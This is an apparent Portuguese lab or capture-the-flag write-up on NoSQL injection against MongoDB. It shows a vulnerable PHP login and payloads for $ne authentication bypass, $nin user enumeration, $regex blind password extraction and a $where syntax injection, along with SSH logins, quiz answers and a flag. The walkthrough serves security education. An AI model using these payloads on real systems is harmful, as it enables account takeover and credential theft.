NoSQL - Injection
NoSQL
As informações não são armazenadas em tabelas
mas sim em documentos
. Exemplo de banco de dados em NoSQL: MongoDB.
MongoDB
Em um banco de dados NoSQL os valores são salvos em pares: chave-valor
, por exemplo, um banco de dados do departamento de RH.
{"_id" : ObjectId("5f077332de2cdf808d26cd74"), "username" : "lphillips", "first_name" : "Logan", "last_name" : "Phillips", "age" : "65", "email" : "lphillips@example.com" }
Esses são os documentos
, armazenado em uma matriz associativa com um número arbitrário de campos. Esses documentos
são estruturados em uma hierarquia superior, chamada de coleções
, essas por sua vez são equivalentes as tabelas
que temos em um banco de dados relacional.
As coleçoes
são agrupadas em um banco de dados.
Consultando banco de dados
A consulta é realizada em chave-valor
nos documentos, por exemplo.
: ['gender' => 'male', 'last_name' => 'Phillips']
Pesquisando menor que: ['age' => ['$lt'=>'50']]
Mais operadores: https://www.mongodb.com/pt-br/docs/manual/reference/operator/query/
What is a group of documents in MongoDB is known as?
R:collection
Using the MongoDB Operator Reference, what operator is used to filter data when a field isn’t equal to a given value?
R:$ne
Following the example of the 3 documents given before, how many documents would be returned by the following filter: ['gender' => ['$ne' => 'female'] , 'age' => ['$gt'=>'65'] ]
?
R: 0
NoSQL injection
Assim como no SQL injection o NoSQL injection podemos encerrar a consulta atual e manipular, para realizarmos outra, além disso, também temos o operator injection, nesse caso injetamos um NoSQL para alterar o comportamento da consulta, sendo assim temos dois tipos:
- NoSQL injection
- Operator Injection
Exemplo
Neste exemplo iremos explorar o ataque de operator injection
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");
if(isset($_POST) && isset($_POST['user']) && isset($_POST['pass'])){
$user = $_POST['user'];
$pass = $_POST['pass'];
$q = new MongoDB\Driver\Query(['username'=>$user, 'password'=>$pass]);
$record = $con->executeQuery('myapp.login', $q );
$record = iterator_to_array($record);
if(sizeof($record)>0){
$usr = $record[0];
session_start();
$_SESSION['loggedin'] = true;
$_SESSION['uid'] = $usr->username;
header('Location: /sekr3tPl4ce.php');
die();
}
}
header('Location: /?err=1');
?>
A consulta feita no banco de dados:
['username'=>$user, 'password'=>$pass]
Podemos manipular da seguinte maneira:
['username'=>['$ne'=>'xxxx'], 'password'=>['$ne'=>'yyyy']]
Neste caso, qualquer usuário e senha, diferente de xxxx
e yyyy
já é valido, podemos autenticar na aplicação utilizando o primeiro documento
que é retornado na consulta.
What type of NoSQL Injection is similar to normal SQL Injection?
R: Syntax
What type of NoSQL Injection allows you to modify the behaviour of the query, even if you can’t escape the syntax?
R: Operator
Bypassing the Login Screen
Alteramos nossa requisição no Burp Suite, inserindo [$ne]
.
Com isso realizamos o bypass da autenticação.
When bypassing the login screen using the $ne operator, what is the email of the user that you are logged in as?
R: admin@nosql.int
Operator Injection: Logging in as Other Users
No ataque anterior somos limitado com qual usuário podemos acessar, o acesso é feito com o primeiro resultado que a pesquisa retorna. Podemos também acessar com outro usuário, com o operador $nin
conseguimos alterar o usuário que acessamos, a definição do operador.
$nin
: Não corresponde a nenhum dos valores especificados em uma array.
Já sabemos um usuário que existe admin
, agora podemos especificar ele no operador $nin
, assim iremos acessar com outro usuário.
1
user[$nin][]=admin&pass[$ne]=adsdasdas&remember=on
A consulta como ficaria.
1
['username'=>['$nin'=>['admin'] ], 'password'=>['$ne'=>'aweasdf']]
Assim utilizamos a mesma logica, para ir para o terceiro usuário que o banco retorna, dessa forma podemos enumerar todos os usuários do banco de dados.
How many users are there in total?
Precisamos realizar a pesquisa até atingir a tela de usuário inválido /?err=1
. Payload utilizado:
1
user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&user[$nin][]=secret&pass[$ne]=adsdasdas&remember=on
A consulta:
1
['username'=>['$nin'=>['admin','pedro','john','secret'] ], 'password'=>['$ne'=>'aweasdf']]
R:4
There is a user that starts with the letter “p”. What is his username?
R:pedro
Operator Injection: Extracting Users’ Passwords
Temos acesso a todas as contas, porém não sabemos as senhas, é importante saber a senha pois dessa forma podemos comprometer outros serviços.
Vamos utilizar o operador $regex
, sua definção:
Seleciona documentos onde os valores correspondem a uma expressão regular especificada.
Podemos advinha o comprimento da senha e depois advinha quais caracteres a senha possui.
Descobrindo o comprimento da senha:
[$regex]=^.{7}$
: estamos perguntando se o parâmetropass
possui comprimento de 7.
Através da página de /?err=1
sabemos que a condição não é verdadeira, sendo assim o comprimento pode ser maior ou menor. O comprimento é de 8.
Sabendo o comprimento, agora iremos descobrir a senha, testando cada caractere (a-Z, 0-9) e também os especiais, o usuário john
possui apenas números na senha, conforme a dica na pergunta.
1
2
Question Hint
The password consists of numbers only.
Com ^0.......$
vamos iniciar o teste, de 0-9 , depois de descobrir vamos passar para o segundo caractere ^00......$
, até descobrirmos os 8 números da senha.
Assim vamos descobrindo cada número da senha.
Senha descoberta.
What is john’s password?
R:10584312
One of the users seems to be reusing his password for many services. Find which one and connect through SSH to retrieve the final flag!
1
2
3
Question Hint
The user is the same as the answer for question 2 of task 5.
Payload para descobrir o comprimento:
user=pedro&pass[$regex]=^.{11}$&remember=on
Lista com todas as letras do alfabeto.
1
crunch 1 1 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz >> numbers.txt
Payload de teste no intruder
: user=pedro&pass[$regex]=^§a§..........$&remember=on
Encontramos a senha, após testar todos os 11 caracteres.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@ip-10-10-4-224:~# ssh pedro@10.10.201.31
pedro@10.10.201.31's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Jun 23 03:34:24 2021 from 192.168.100.250
pedro@nosql-nolife:~$ cat flag.txt
flag{N0Sql_n01iF3!}
pedro@nosql-nolife:~$
Syntax Injection: Identification and Data Extraction
A aplicação retorna o e-mail de qualquer usuário.
Podemos testar se aplicação é vulnerável a injeção com um '
.
Com a mensagem acima sabemos que a aplicação não realiza as devidas verificações, olhando o código da aplicação, a string passada é concatenada na consulta.
for x in mycol.find({"$where": "this.username == '" + username + "'"}):
Sendo assim, podemos realizar uma condição verdadeira e verificar o retorno.
1
2
3
4
5
6
7
8
9
root@ip-10-10-4-224:~# ssh syntax@10.10.201.31
syntax@10.10.201.31's password:
Please provide the username to receive their email:'||1||'
admin@nosql.int
pcollins@nosql.int
jsmith@nosql.int
Syntax@Injection.FTW
Connection to 10.10.201.31 closed.
root@ip-10-10-4-224:~#
É retornado todos os e-mails da aplicação, dessa forma, realizamos o dump de todos os e-mail.
What common character is used to test for injection in both SQL and NoSQL solutions?
R:'
What is the email value of the super secret user returned in the last entry?
R:Syntax@Injection.FTW
Conclusão
Na aula é apresentado diversas formas de NoSQL injection, de uma forma teórica e prática, apresentando a exploração de operadores e sintaxe.